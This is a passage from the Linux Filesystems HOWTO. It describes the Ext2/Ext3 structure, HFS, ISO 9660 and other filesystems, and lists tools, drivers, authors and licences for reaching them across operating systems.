Each block group contains a redundant copy of crucial filesystem control informations (superblock and the filesystem descriptors) and also contains a part of the filesystem (a block bitmap, an inode bitmap, a piece of the inode table, and data blocks). The structure of a block group is represented in this table:

,---------+---------+---------+---------+---------+---------,
| Super   | FS      | Block   | Inode   | Inode   | Data    |
| block   | desc.   | bitmap  | bitmap  | table   | blocks  |
`---------+---------+---------+---------+---------+---------'

Using block groups is a big win in terms of reliability: since the control structures are replicated in each block group, it is easy to recover from a filesystem where the superblock has been corrupted. This structure also helps to get good performances: by reducing the distance between the inode table and the data blocks, it is possible to reduce the disk head seeks during I/O on files.

In Ext2fs, directories are managed as linked lists of variable length entries. Each entry contains the inode number, the entry length, the file name and its length. By using variable length entries, it is possible to implement long file names without wasting disk space in directories.

Performance optimizations

In Linux, the Ext2fs kernel code contains many performance optimizations, which tend to improve I/O speed when reading and writing files.

Ext2fs takes advantage of the buffer cache management by performing readaheads: when a block has to be read, the kernel code requests the I/O on several contiguous blocks. This way, it tries to ensure that the next block to read will already be loaded into the buffer cache. Readaheads are normally performed during sequential reads on files and Ext2fs extends them to directory reads, either explicit reads (readdir(2) calls) or implicit ones (namei kernel directory lookup).

Ext2fs also contains many allocation optimizations. Block groups are used to cluster together related inodes and data: the kernel code always tries to allocate data blocks for a file in the same group as its inode. This is intended to reduce the disk head seeks made when the kernel reads an inode and its data blocks.

When writing data to a file, Ext2fs preallocates up to 8 adjacent blocks when allocating a new block. Preallocation hit rates are around 75% even on very full filesystems. This preallocation achieves good write performances under heavy load. It also allows contiguous blocks to be allocated to files, thus it speeds up the future sequential reads.

These two allocation optimizations produce a very good locality of:

  • related files through block groups
  • related blocks through the 8 bits clustering of block allocations.

6.3 Third Extended Filesystem (Ext3 FS)

Ext3 support the same features as Ext2, but includes also Journaling. You can download pre- version from ftp://ftp.uk.linux.org/pub/linux/sct/fs/jfs/.

6.4 E2compr - Ext2fs transparent compression

  • Homepage: http://opensource.captech.com/e2compr/
  • Download: ftp://opensource.captech.com/e2compr/
  • Maintainer: Peter Moulder < reiter@netspace.net.au>
  • Freshmeat: Console/Filesystems
  • Access: As for ext2 (Read/Write, Long filenames)
  • License: GPL except for compression algorithms (various licenses)
Implements `chattr +c' for the ext2 filesystem. Software consists of a patch to the linux kernel, and patched versions of various software (principally e2fsprogs i.e. e2fsck and friends). Although some people have been relying on it for years, THIS SOFTWARE IS STILL IN DEVELOPMENT, AND IS NOT ,END-USER`-READY.

6.5 Accessing Ext2 from DOS (Ext2 tools)

  • Download: ftp://sunsite.unc.edu/pub/Linux/system/filesystems/ext2/
  • Access: Read-only, no drive letters (special utilites)
  • Author: Claus Tondering < ct@login.dknet.dk>
  • Access: ?
  • License: ?
A collection of DOS programs that allow you to read a Linux ext2 file system from DOS.

6.6 Accessing Ext2 from DOS, Windows 9x/NT and other Unixes (LTools)

  • Homepage: http://www.it.fht-esslingen.de/~zimmerma/software/ltools.html
  • Author: Werner Zimmermann < Werner.Zimmermann@fht-esslingen.de>
  • Homepage: http://www.it.fht-esslingen.de/~zimmerma/software/ltools.htm
  • Mirror: http://metalab.unc.edu/pub/linux/utils/dos/ (only major releases)
  • Access: Read/Write/Modify, Long filenames
  • License: GPL
The LTOOLS are under DOS/Windows 3.x/Windows 9x/Windows NT or non-Linux-UNIX, what the MTOOLS are under Linux. You can access (read, write, modify) your Linux files when running one of the other operating systems. The kernel of the LTOOLS is a set of command line programs. Additionally a JAVA program as a stand alone graphical user interface is available. Alternatively, you can use your standard web browser as a graphical user interface. The LTOOLS do not only provide access to Linux files on your own machine, but also remote access to files on other machines.

6.7 Accessing Ext2 from OS/2

  • Homepage: http://perso.wanadoo.fr/matthieu.willm/ext2-os2/
  • Author: Matthieu WILLM < willm@ibm.net> , < matthieu.willm@wanadoo.fr>
  • Download: ftp://hobbes.nmsu.edu/pub/os2/system/drivers/filesys/ext2_240.zip
  • Freshmeat: Console/Filesystems
  • Access: Read/Write, swapping and booting to/from ext2, removable media support, but NO extended attributes.
EXT2-OS2 is a package that allows OS/2 to seamlessly access Linux ext2 formatted partitions from OS/2 as if they were standard OS/2 drive letters. The ultimate aim of this package is to be able to use the ext2 file system as a replacement of FAT or HPFS. For the moment the only lacking feature to achieve this goal is the support for OS/2 extended attributes.

6.8 Accessing Ext2 from Windows 95/98 (FSDEXT2)

  • Homepage: http://www.yipton.demon.co.uk/
  • Author: Peter van Sebille pvs@globalxs.nl , pese@nlnwgfsc.origin.nl
  • Freshmeat: Console/Filesystems
  • Access: Read-only, Long filenames supported

6.9 Accessing Ext2 from Windows 95 (Explore2fs)

  • Homepage: http://uranus.it.swin.edu.au/~jn/linux/explore2fs.htm
  • Access: Read/Write, Long filenames, symbolic links etc...
  • Author: John Newbigin < jn@it.swin.edu.au>
  • License: GPL
A user space application which can read and write the second extended file system ext2. Supports hard disks and removable media, including zip and floppy. Uses a windows explorer like interface to show files and details. Supports Drag& Drop, context menus etc. Written for Windows NT, but has some support for Windows 95. Large disks can cause problems.

6.10 Accessing Ext2 from Windows NT (ext2fsnt)

  • Homepage: http://www.chat.ru/~ashedel/ext2fsnt/
  • Download: http://www.chat.ru/~ashedel/ext2fsnt/ext2fsnt.rar
  • Author: Andrey Shedel < andreys@cr.cyco.com >
  • Freshmeat: Console/Filesystems
  • License: Free
  • Access: Read-write, LFN, Security, PageFile, Hardlinks.

6.11 Accessing Ext2 from BeOS

  • Homepage: http://www.cs.tamu.edu/people/tkg0143/be/
  • Author: Travis Geiselbrecht < geist@tamu.edu >
  • Download: http://www.cs.tamu.edu/people/tkg0143/be/downloads/ext2fs-1.0.6-x86-r4.zip for R4 and http://www.cs.tamu.edu/people/tkg0143/be/downloads/ext2fs-1.0.3-x86-r3.zip for R3.
  • Access: Read-only, long filenames supported.
  • License: Free
This is a driver to allow BeOS to mount the Linux Ext2 filesystem. The version that is currently released author consider pretty stable. People have been using it for a long time, with no bug reports.

Authow now works for Be Inc, so you will not see his ext2 and NTFS filesystem support updated on the web much more. The drivers will be pulled into future BeOS releases.

6.12 Accessing Ext2 from MacOS (MountX)

  • Homepage: http://calvaweb.calvacom.fr/bh40
  • Author: ?
  • Download: ?
MacOS driver which allows you to mount ext2 filesystems (Linux and MkLinux) on the Macintosh.

6.13 Accessing Ext2 from MiNT

  • Homepage: http://?
  • Author: < yescrew@capybara.sk-pttsc.lj.edus.si>
  • Download: ?
  • License: GPL
This is a full working Ext2 filesystem driver for FreeMiNT. It can read and write the actual ext2 version as implemented in Linux for example. The partition size is not limited and the logical sector size can be 1024, 2048 or 4096 bytes. The only restriction is that the physical sector size is smaller or equal to the logical sector size. The blocksize can be configured if you initialize the partition with mke2fs.

6.14 Ext2fs defrag

  • Download: ftp://ftp.uk.linux.org/pub/linux/sct/defrag/
  • Author: Stephen C. Tweedie < sct@redhat.com >
  • License: GPL
Defragments your ext2 filesystem. Needs updated for glib libraries.

6.15 Ext2fs resize

  • Homepage: http://www.dsv.nl/~buytenh/ext2resize/
  • Download: http://www.dsv.nl/~buytenh/ext2resize/ext2resize-990617.tar.bz2
  • Author: Lennert Buytenhek < buytenh@dsv.nl>.
  • License: GPL
Resizes second extended filesystem.

6.16 Ext2end

  • Homepage: http://linux.msede.com/ext2/ext2end.html
  • Maintainer: Mike Field < mafield@the.net.nz>
  • License: Copyright Mike Field. To be GPLed once stable.
For use with LVM Consists of 2 utilites. ext2endable reorganises an empty ext2 file systems to allow them to be extended, and ext2end that extends an unmounted ext2 file system. If ext2endable has not been run when the file system was created ext2end will only be able to extend it to the next multiple of 256MB

6.17 Repairing/analyzing/creating Ext2 using E2fsprogs

  • Homepage: http://e2fsprogs.sourceforge.net/
  • Download: ftp://download.sourceforge.net/pub/sourceforge/e2fsprogs/
  • Authors: tytso@mit.edu and card@masi.ibp.fr
  • Windows NT port: http://www.chat.ru/~ashedel/ext2fsnt/
  • Freshmeat: Console/Filesystems
  • License: GPL
The ext2fsprogs package contains essential ext2 filesystem utilities which consists of e2fsck, mke2fs, debugfs, dumpe2fs, tune2fs, and most of the other core ext2 filesystem utilities.

6.18 Ext2 filesystem editor - Ext2ed

  • Homepage: ?
  • Author: tgud@tochnapc2.technion.ac.il.
  • Download: http://sunsite.unc.edu/pub/Linux/system/Filesystems/ext2/ext2ed-0.1.tar.gz
  • License: GPL
EXT2ED is a disk editor for the extended2 filesystem. It will show you the ext2 filesystem structures in a nice and intuitive way, letting you easily "travel" between them and making the necessary modifications.

6.19 Linux filesystem editor - lde

  • Homepage: ?
  • Author: Scott D. Heavner < sdh@po.cwru.edu>.
  • Download: http://sunsite.unc.edu/pub/Linux/system/Filesystems/lde-2.3.4.tar.gz
  • License: GPL
This allows you to view some Linux fs's, hex block and inode editing are now supported and you can use it to dump an erased file to another partition with a little bit of work. Supports ext2, minix, and xiafs. Includes LaTeX Introduction to the Minix fs. You must patch sources to compile on 2.2.x and 2.3.x kernels beacuse of missing Xia header files in kernel.

6.20 Ext2 undelete utilities

  • Homepage: http://amadeus.uprm.edu/~undelete
  • Authors: Gunther Costas, Wilfredo Lugo, Jerry Ramirez < undelete@amadeus.uprm.edu>
  • Freshmeat: Console/Filesystems
  • License: GPL
This is a patch for kernel 2.0.30 that adds undelete capabilities using the "undeletable" attribute provided by the ext2fs. This patch include man pages, the undelete daemon and utilities. Check our web page for the latest and greatest version.


Filesystems HOWTO: Macintosh Hierarchical Filesystem - HFS

 Next Previous Contents

7. Macintosh Hierarchical Filesystem - HFS

All Macintosh storage devices except floppy disks are partitioned into one or more volumes. Volumes can contain four kinds of items: files, directories, directory threads and file threads. Each item is described by a catalog record which is analogous to a Unix inode. Catalog records are organized in the on-disk catalog B-Tree. Directory contents are derived from searching the catalog B-Tree. Only a file can occupy space outside of its catalog record.

A Macintosh "file" contains two components, or forks. The resource fork is an indexed file containing code segments, menu items, dialog boxes, etc. The data fork has the "stream of bytes" semantics of a Unix file contents. Each fork is comprised of one or more extents or contiguous runs of blocks. An extent descriptor encodes an extent's starting block and length into a 32bit quantity. The first extent record (three extent descriptors) of each fork is a part of the file's catalog record. Any further extent records are kept in the extents overflow B-Tree.

In addition to file and B-Tree extents a volume also contains two boot blocks, a volume information block, and a free space bitmap. There is a remarkable amount of redundancy in the on diskdata structures which improves crash recovery. While not strictly a part of the filesystem, it should be noted that several catalog record fields are reserved for the exclusive use of Finder, a program which handles user access to the filesystem and automatically maintains associations between applications and data files. Thus, HFS must also maintain this Finder info.

Every file and directory on an HFS volume has an identification number, similar to an inode number in the Unix filesystem. However, a file or directory is named by its parent's identification number and the file or directory's file name, which is a 32 character string that can contain nulls. This combination is the search key to the volume's catalog B-Tree. The catalog B-Tree differs from a traditional B-Tree structure in that all the nodes at each level of the B-Tree are linked together to form a doubly linked list and all of the records are in the leaf nodes. These variations permit accessing many items in the same directory by traversing the leaves using the linked list. Strictly speaking, the HFS B-Trees are a variant of B+-Trees although Apple's technical documentation calls them B*-Trees.

Each directory, including the root directory, contains its directory thread, which has the empty filename. The directory thread record contains the name of the directory and the id of the parent of the directory. Similarly, filethreads contain the name of a file and the id of the directory they are in. While every directory must contain a directory thread, file threads are very uncommon. In fact, both are examples of HFS redundancy - for undamaged trees, threads are not strictly necessary. Both file and directory records contain 32 bytes of information used by Finder. The first three extent descriptors for the catalog B-Tree are kept in the volume information block. If the catalog B-Tree file grows beyond three extents, the remaining extent descriptors are kept in the extents overfow.

HFS and HFS+ (also called Sequoia) filesystems are well documented. The best source of tech. information about HFS can be found in the Inside Macintosh series of books. Look at http://developer.apple.com/techpubs/mac/Files/Files-99.html. The HFS+ filesystem is described in Technote 1150, available online at http://developer.apple.com/technotes/tn/tn1150.html. A lot of information is available also in other technotes. This links are collected by Paul H. Hargrove:

  • http://developer.apple.com/dev/technotes/fl/fl_22.html - HFS Ruminations.
  • http://developer.apple.com/dev/technotes/fl/fl_32.html - Hey, Buddy, Can You Spare A Block?
  • http://developer.apple.com/dev/technotes/fl/fl_505.html - Alias Manager Q&As
  • http://developer.apple.com/dev/technotes/fl/fl_515.html - File Manager File Handling Q&As
  • http://developer.apple.com/dev/technotes/fl/fl_530.html - File Manager Volume Handling Q&As
  • http://developer.apple.com/dev/qa/ops/ops08.html - Bizarre Extension Loading Order: BackQuote Sorts Between "A" and "B"
  • http://developer.apple.com/dev/technotes/tb/tb_535.html - Finder Q&As

7.1 Accessing HFS from Linux

  • Homepage: http://www-sccm.stanford.edu/~hargrove/HFS/
  • Author: Paul. Hargrove < hargrove@sccm.stanford.edu>
  • Freshmeat: Console/Filesystems
  • License: GPL

7.2 Accessing HFS from OS/2 (HFS/2)

  • Homepage: http://www.student.nada.kth.se/~f96-bet/HFS/
  • Author: Marcus Better < Marcus.Better@abc.se>

HFS/2 lets OS/2 users seamlessly read and write files on diskettes formatted with the Hierarchical File System, the file system used by Macintosh computers. With HFS/2, Macintosh diskettes can be used just as if they were regular diskettes.

This program is no longer being developed, because author doesn't use OS/2. If you are willing to maintain the program, let him know.

7.3 Accessing HFS from Windows 95/98/NT (HFV Explorer)

  • Homepage: http://gamma.nic.fi/~lpesonen/HFVExplorer/
  • Author: Lauri Pesonen < lpesonen@nic.fi>
  • Access: R/W access to floppies, Zip disks and virtual volume files. Read access to HFS and hybrid CD's.
  • License: GPL
An HFS volume browser for Windows NT and Windows 9x based on hfsutils. Launch pad support for all major Macintosh emulators running on Windows.

7.4 Accessing HFS from DOS (MAC-ETTE)

  • Homepage: ?
  • Author: Paul E. Thomson
  • Download: http://home2.inet.tele.dk/shefan/macette3.zip
  • Access: Read-Only
  • License: Shareware ($34)
Mac-ette is a PC utility which can read, write, format and duplicate Macintosh HFS format 1.4 Meg diskettes on a PC equipped with a 3.5 inch high density diskette drive.

7.5 HFS utils

  • Homepage: http://www.mars.org/home/rob/proj/hfs/
  • Author: Robert Leslie < rob@mars.org>
  • OS/2 port: http://www.f.kth.se/~f96-bet/hfsutils/

The hfsutils package contains a set of command-line utilities such as hformat, hmount, hdir, hcopy, etc. They allow read-write access of files and directories on HFS volumes.

7.6 MacFS: A Portable Macintosh File System Library

  • Tech report: http://reports-archive.adm.cs.cmu.edu/anon/1998/abstracts/98-145.html
  • Author: Peter A. Dinda < pdinda+macfs@cs.cmu.edu>, George C. Necula, and Morgan Price
  • Download: ftp://ftp.cs.cmu.edu/user/pdinda/MacFS_0.1.tar.gz
  • Access: Read/Write, full open/read/write/seek/close support
  • License: Free for noncommercial and nonmilitary use, see ftp://ftp.cs.cmu.edu/user/pdinda/MacFS_0.1.LICENSE
This is a Macintosh file system library which is portable to a variety of operating systems and platforms. It presents a programming interface sufficient for creating a user level API as well as file system drivers for operating systems that support them. Authors implemented and tested such a user level API and utility programs based on it as well as an experimental Unix Virtual File System. They also describe the Macintosh Hierarchical File System and their implementation and note that the design is not well suited to reentrancy and that its complex data structures can lead to slow implementations in multiprogrammed environments. Performance measurements show that our implementation is faster than the native Macintosh implementation at creating, deleting, reading and writing files with small request sizes, but slower than the Berkeley Fast File System (FFS.) However, the native Macintosh implementation can perform large read and write operations faster that either our implementation or FFS.


Filesystems HOWTO: ISO 9660 - CD-ROM filesystem

 Next Previous Contents

8. ISO 9660 - CD-ROM filesystem

Useful ISO-9660 links:

  • ftp://ftp.ecma.ch/ecma-st/e119-pdf.pdf - ISO-9660 (aka ECMA-119, aka High Sierra) specification

8.1 RockRidge extensions

Extensions allowing long filenames and Unix-style symbolic links.

Useful RockRidge links:

  • ftp://ftp.ymi.com/pub/rockridge/susp112.ps - System Usage Sharing Protocol (SUSP, IEEE P1281)
  • ftp://ftp.ymi.com/pub/rockridge/rrip112.ps - Rock Ridge Interchange Protocol (RRIP, IEEE P1282)

8.2 Joliet extensions

Joliet is a Microsoft extension to the ISO 9660 filesystem that allows Unicode characters to be used in filenames. This is a benefit when handling internationalization. Like the Rock Ridge extensions, Joliet also allows long filenames.

8.3 Hybrid CD-ROMs

Hybrid CDs contains three filesystems on one disc - ISO9660/RR, Joliet and HFS. Such CD-ROMs are accessible under DOS, Unix, Macintosh and Windows 9x/NT. All three filesystems use the same data, only metadata are the disc three times.

8.4 Novell NetWare indexes on ISO9660

(todo)

8.5 Accessing Joliet from Linux

  • Homepage: http://bmrc.berkeley.edu/people/chaffee/joliet.html
  • License: GPL

8.6 Accessing Joliet from BeOS

  • Homepage: http://www.iae.nl/users/gertjan/be/
  • Author: Gertjan van Ratingen < gertjan@iae.nl>
  • License: ?
It is updated ISO9660 driver to be able to use a Joliet ISO9660 extensions.

8.7 Accessing Joliet from OS/2

  • Download: ftp://hobbes.nmsu.edu/pub/os2/system/drivers/filesys/jcdfs.zip
  • Author: IBM
  • License: ?
Jcdfs.zip archive contains CDFS.IFS driver for OS/2 with Joliet level 3 support.

8.8 Accessing Audio CD as filesystem from Linux

  • Homepage: http://www.ii.pw.edu.pl/~borkowsm/cdfs.htm
  • Download: ?
  • Author: Mariusz Borkowski < borkowsm@ii.pw.edu.pl>
  • License: ?
This kernel module allows you to access an audio CD as a regular filesystem.

8.9 Accessing Audio CD as filesystem from BeOS

  • Homepage: http://www.xs4all.nl/~marcone/be.html
  • Download: http://www.xs4all.nl/~marcone/be/files/cdda5.zip (PPC/Intel archive)
  • Author: Marco ?
  • License: ?
This filesystem add-on will allow you (if your CD drive supports it) to treat a regular audio CD as if it were a bunch of WAV files. You can copy the files, encode them to mp3, play them slower, faster, even backwards.

8.10 Accessing all tracks from Linux (CDfs)

  • Homepage: http://www.elis.rug.ac.be/~ronsse/cdfs/
  • Download: http://www.elis.rug.ac.be/~ronsse/cdfs/cdfs.tgz
  • Author: Michiel Ronsse < ronsse@elis.rug.ac.be>
  • License: GPL
CDfs is a file system for Linux systems that `exports' all tracks and boot images on a CD as normal files. These files can then be mounted (e.g. for ISO and boot images), copied, played (audio tracks), etc. The primary goal for developing this file system was to `unlock' information in old ISO sessions. The file system also allows you to access data on faulty multi session disks, e.g. disks with multiple single sessions instead of a multi session.

8.11 Creating Hybrid CD-ROMs (mkhybrid)

  • Homepage: http://www.ps.ucl.ac.uk/~jcpearso/mkhfs.html
  • Download: ftp://ftp.ge.ucl.ac.uk/pub/mkhfs/
  • Author: < j.pearson@ge.ucl.ac.uk>
  • License: ?
Make an ISO9660/HFS/JOLIET shared hybrid CD volume


Filesystems HOWTO: Other filesystems

 Next Previous Contents

9. Other filesystems

9.1 ADFS - Acorn Disc File System

The Acorn Disc Filing System is the standard filesystem of the RiscOS operating system which runs on Acorn's ARM-based Risc PC systems and the Acorn Archimedes range of machines.

Linux kernel 2.1.x+ supports this filesystem. Author of Linux filesystem implementation is Russell King < rmk@arm.uk.linux.org>.

9.2 AFFS - Amiga fast filesystem

The Fast File System (FFS) is the common filesystem used on hard disks by Amiga(tm) systems since AmigaOS Version 1.3 (34.20).

Linux kernel 2.1.x+ supports this filesystem. Author of Linux filesystem implementation is Ray Burr < ryb@nightmare.com>.

9.3 BeFS - BeOS filesystem

BeFS is journaling filesystem used in BeOS. For more information about BeFS see Practical File System Design with the Be File System book or BeFS linux driver source code.

Linux BeFS implementation:

  • Homepage: http://hp.vector.co.jp/authors/VA008030/bfs/
  • Download: http://hp.vector.co.jp/authors/VA008030/bfs/bfs-19990528.tar.gz
  • Author: Makoto Kato < m_kato@ga2.so-net.ne.jp>
  • Access: Read-only
  • License: GPL
This driver supports x86 and PowerPC Linux platform. Also, it only supports readable in hard disk and floppy disk.

9.4 BFS - UnixWare Boot Filesystem

UnixWare BFS filesystem type is a special-purpose filesystem. It was designed for loading and booting UnixWare kernel. BFS was designed as a contiguous filesystem. BFS supports only one (root) directory and you can create only regular files; no subdirs or special files such as devices or sockets can be created.

For more information about BFS see http://uw7doc.sco.com/FS_admin/_The_bfs_File_System_Type.html.

  • http://uw7doc.sco.com/FS_admin/_The_bfs_Superblock.html - superblock
  • http://uw7doc.sco.com/FS_admin/_bfs_Inodes.html - inodes
  • http://uw7doc.sco.com/FS_admin/_bfs_Storage_Blocks.html - storage blocks

You can access BFS filesystem from Linux:

  • Homepage: http://www.ocston.org/~tigran/patches/bfs/
  • Download: In the Linux kernel, patches available at homepage.
  • Author: Tigran A. Aivazian < tigran@ocston.org>
  • License: GPL
  • Access: Read/write (write part is limited, no compactification yet)
The support for BFS is included in the Linux kernel since version 2.3.25. If you are using an earlier kernel, check if BFS homepage contains a patch which adds support for this filesystem. The homepage also contains bugfixes/enhancement which are not yet merged into the official kernel.

There is also mine old implementation, which is now obsolete. My plan is to port this code to FreeBSD:

  • Homepage: http://www.penguin.cz/~mhi/fs/bfs/
  • Download: ftp://ftp.penguin.cz/pub/users/mhi/bfs/
  • Author: Martin Hinner < mhi@penguin.cz>
  • License: GPL
  • Access: Read-only
This is read-only UnixWare Boot filesystem support for Linux. You can use it to mount read-only your UnixWare /stand partition or floppy disks. I don't plan a read-write version, but if you want it mail me. You might be also interested in VxFS Linux support.

9.5 CrosStor filesystem

This is new name for High throughput filesystem (HTFS). For more information see CrosStor homepage at http://www.crosstor.com.

9.6 DTFS - Desktop filesystem

Goals in designing the Desktop File System were influenced by impression of what environment was like for small computer systems. DTFS compress the data stored in regular files to reduce disk space requirements (directories remain uncompressed). Compression is performed a page at a time and occur 'on-the-fly'. DTFS supports LZW and no-compression but you can add your own algorithms. Some space is saved by not pre-allocating inodes. Any disk block is fair game to be allocated as an inode. Each inode is stored as a B+tree. For more information see DTFS USENIX paper (you can download it from ftp://ftp.crosstor.com/pub/DTFS/papers/).

Read/Write commercial driver available from CrosStor for UnixWare and SUN Solaris:

  • Download: ftp://ftp.crosstor.com/pub/DTFS/
  • License: Commercial?
  • Access: Read/Write

9.7 EFS - Enhanced filesystem (Linux)

The Enhanced Filing system project aims to create a new filing system for Linux and eventually other OSs which will allow the administrator to define mountable "file systems" on a set of block devices (either hard drives or partitions). The aim is to allow file systems to be added or removed from the partition set while the system is running and partitions may be added to a set (or removed if the remaining partitions have enough space to contain all the data) while the system is running.The two main aims are to allow a number of mountable file systems to share the same pool of storage space (IE have the user home dirs on the same drive as the news spool but have separate accounting for them), and to allow the easy addition of more hard drives to allow more space.

Some other features that authors want to implement are logging/journaling, support for as many OSs as possible (although all work will be initially done on Linux), and quotas in the FS so we don't need to waste ages running a silly quotacheck program at boot - the logging should avoid quotacheck the same way it avoids fsck! They want to be able to boot a system with 10gig of news spread over 4 hard drives with full quotas AFTER a power failure with less than 20 seconds for mounting file systems!

Homepage of Enhanced FS is at http://www.coker.com.au/~russell/enh/. Contact Russell Coker < russell@coker.com.au> for more information.

9.8 EFS - Extent filesystem (IRIX)

The Extent File System (efs) is Silicon Graphics' early block-device filesystem, widely used on pre-6.0 versions of IRIX. Since 6.0, xfs has been bundled with IRIX and users are being encouraged to migrate to xfs filesystems. IRIX support for efs will be read-only in versions of IRIX beyond 6.5, however efs is still very much in use on SGI software distribution CDs.

There are two kernel modules for linux to access EFS filesystem.

  • Homepage: http://aeschi.ch.eu.org/efs/
  • Download: http://aeschi.ch.eu.org/efs/efs-1.0b.tar.gz
  • Author: Al Smith < Al.Smith@aeschi.ch.eu.org>
  • License: GPL
  • Access: Read-only
The efs kernel module is an implementation of the extent file system for linux 2.2 kernels. An efs implementation (efsmod-0.6.tar.gz) was originally written for 1.x kernels by Christian Vogelgsang. In this implementation the code has undergone a complete rewrite and is also endian-clean. To use the efs module, you will need to have at least a 2.2 kernel. To mount IRIX CDs, your CD-ROM will need to be able to cope with 512-byte blocks. This version of efs contains support for hard-disk partitions, and also contains a kernel patch to allow you to install the efs code into your linux kernel tree. Handling of large files has also been vastly improved.

Original efsmod is also available:

  • Homepage: http://wwwcip.informatik.uni-erlangen.de/user/cnvogelg/proj.html
  • Download: http://wwwcip.informatik.uni-erlangen.de/user/cnvogelg/bin/efsmod-0.6.tgz
  • Author: Christian Vogelgsang
  • License: GPL
  • Access: Read-only
Efs-mod 0.6 is original EFS read/only module for Linux. Version 0.6 finished but Project frozen due to lack of time and information for implementing the write part.

EFS and FFS library, libfs

  • Download: ftp://ivo.cps.unizar.es/pub/SPDsoft/libfs.tar.gz
  • Author: J.A. Gutierrez < spd@ivo.cps.unizar.es>
  • License: GPL
  • Access: Read/Only IRIX EFS and Sun UFS
A C library to read EFS and FFS from WinNT x86, SunOS and IRIX. Easy to use (Posix like interface) and to links aginst existent code FTP server has also winefssh.exe and winufssh.exe, simple WinNT binaries to interactively read UFS and EFS file systems. Not a very polished/documented package, but somebody may find it useful.

Useful links:

  • IRIX EFS filesystem brief description: http://squish.ucs.indiana.edu:80/ebt-bin/nph-dweb/dynaweb/SGI_Admin/IA_DiskFiles/@ebt-link;td=8?target=%25N%14_7484_START_RESTART_N%25

9.9 FFS - BSD Fast filesystem

This is native filesystem for most BSD unixes (FreeBSD, NetBSD, OpenBSD, Sun Solaris, ...).

See also: SFS, secure filesystem, UFS.

9.10 GPFS - General Parallel Filesystem

This is a UNIX(tm) operating system style file system designed for the RS/6000 SP(tm) server. It allows applications on multiple nodes to share file data. GPFS supports very large file systems and stripes data across multiple disks for higher performance. GPFS is based on a shared disk model which provides lower overhead access to disks not directly attached to the application nodes and uses a distributed locking protocol to provide full data coherence for access from any node. It offers many of the standard AIX(tm) file system interfaces allowing most applications to execute without modification or recompiling. These capabilities are available while allowing high speed access to the same data from all nodes of the SP system, and providing full data coherence for operations occurring on the various nodes. GPFS attempts to continue operation across various node and component failures assuming that sufficient resources exist to continue.

  • http://www.austin.ibm.com/resource/technology/paper1.html

9.11 HFS - HP-UX Hi performance filesystem

This is the second hfs that appears in this howto. It is used in older HP-UX versions.

9.12 HTFS - High throughput filesystem

Useful links:

  • SCO OpenServer 5 filesystems whitepaper: http://www.sco.com/products/Whitepapers/family/filesy4.htm

Read/Write commercial driver available from CrosStor:

  • Download: ftp://ftp.crosstor.com/pub/HTFS/
  • License: Commercial?
  • Access: Read/Write

9.13 JFS - Journaled filesystem (HP-UX, AIX, OS/2 5, Linux)

  • Homepage: http://oss.software.ibm.com/developerworks/opensource/jfs/
  • Download: http://www10.software.ibm.com/developer/opensource/jfs/project/pub/
  • Author: Steve Best < sbest@us.ibm.com> and Dave Kleikamp < shaggy@us.ibm.com>
  • License: GPL
  • Access: ?
JFS is IBM's journaled file system technology, currently used in IBM enterprise servers, and is designed for high-throughput server environments.

9.14 LFS - Linux log structured filesystem

Linux Log structured filesystem implementation called d(t)fs:

  • Homepage: http://www.complang.tuwien.ac.at/czezatke/lfs.html
  • Author: Christian Czezatke < e9025461@student.tuwien.ac.at>
  • License: GPL
  • Access: rw/long filenames, etc
d(t)fs is a log-structured filesystem project for Linux. Currently, the filesystem is mostly up and running, but no cleaner has been written so far.

There will also be a dtfs mailing list that will be announced on the homepage. For more information you can have a look at: http://www.xss.co.at/mailman/listinfo.cgi/dtfs

  • http://collective.cpoint.net/lfs/ - The kfs Homepage Cornelius "Kees" Cook has started a Linux Log--Structured Filesystem project before dtfs came to live.
  • http://lucien.blight.com/~c-cook/prof/lfs/ - Another (death) LFS implementation ;-)
  • http://www.eecs.harvard.edu/~margo/usenix.195/ - Margo Seltzer's < margo@das.harvard.edu> LFS page

9.15 MFS - Macintosh filesystem

MFS is original Macintosh filesystem. It has been replaced by HFS / HFS+. If you can provide further information, mail me please.

9.16 Minix filesystem

This is Minix native filesystem. It was also used in first versions of Linux.

9.17 NWFS - Novell NetWare filesystem

NWFS is native in Novell NetWare OS. It is modified FAT-based filesystem. Two variants of this filesystem exists. 16bit NWFS 286 is used in NetWare 2.x. NetWare 3.x, 4.x and 5 use 32bit NWFS 386.

NetWare filesystem / 286

(todo)

NetWare filesystem / 386

(todo)

Accessing NWFS-386 from Linux

  • Homepage: http://www.timpanogas.com/html/fenris_for_linux.html
  • Download: ftp://207.109.151.240/nwfs/
  • Author: Timpanogas Research Group, Inc. (jmerkey@timpanogas.com)
  • License: GPL
  • Access: Read-Only
This driver allows you to mount NWFS-386 filesystem on Linux.

9.18 NSS - Novell Storage Services

This is a new 64bit journaling filesystem using a balanced tree algorithms. It is used in Novell NetWare 5.

  • http://www.novell.com/whitepapers/nw5/nss.html - NSS Whitepaper

9.19 ODS - On Disk Structure filesystem

This is OpenVMS and VMS native filesystem.

9.20 QNX filesystem

This filesystem is used in QNX. Two major filesystem version exists, version 2 is used by QNX 2 and version 4 by QNX 4. QNX 4 doesn't support version 2 and vice versa.

QNX4 filesystem is now accessible from Linux 2.1.x+. Say "Y"es to 'QNX filesystem support';

  • Download: In the kernel ;)
  • Author: Frank Denis < j@4u.net> (maintainer), Richard Frowijn
  • License: GPL
  • Access: Read (except for multi-extents files), Write (experimental)
Driver for the QNX 4 filesystem.

9.21 Reiser filesystem

Reiserfs is a file system using a variant on classical balanced tree algorithms. The results when compared to the ext2fs conventional block allocation based file system running under the same operating system and employing the same buffering code suggest that these algorithms are more effective for large files and small files not near node size in time performance, become less effective in time performance and more significantly effective in space performance as one approaches files close to the node size, and become markedly more effective in both space and time as file size decreases substantially below node size (4k), reaching order of magnitude advantages for file sizes of 100bytes. The improvement in small file space and time performance suggests that we may now revisit a common OS design assumption that one should aggregate small objects using layers above the file system layer.

Useful links:

  • Reiser fs homepage http://devlinux.org/namesys/

9.22 RFS (CD-ROM Filesystem)

Sony's incremental packet-writing filesystem.

9.23 RomFS - Rom filesystem

Author of Linux RomFS implemplementation is Janos Farkas < chexum@shadow.banki.hu> For more information see /usr/src/linux/Documentation/filesystems/romfs.txt file.

9.24 SFS - Secure filesystem

The sfs filesystem type is a variation of the FFS filesystem type. The boot block,superblock, storage blocks, and free blocks for the sfs filesystem type are, at the administrative level, identical to those for FFS. The inodes differ from FFS inodes, however. Each odd-numbered inode is reserved for security information. The information contains Access Control List information. I'm not sure if SFS has any other abilities though.

SFS links:

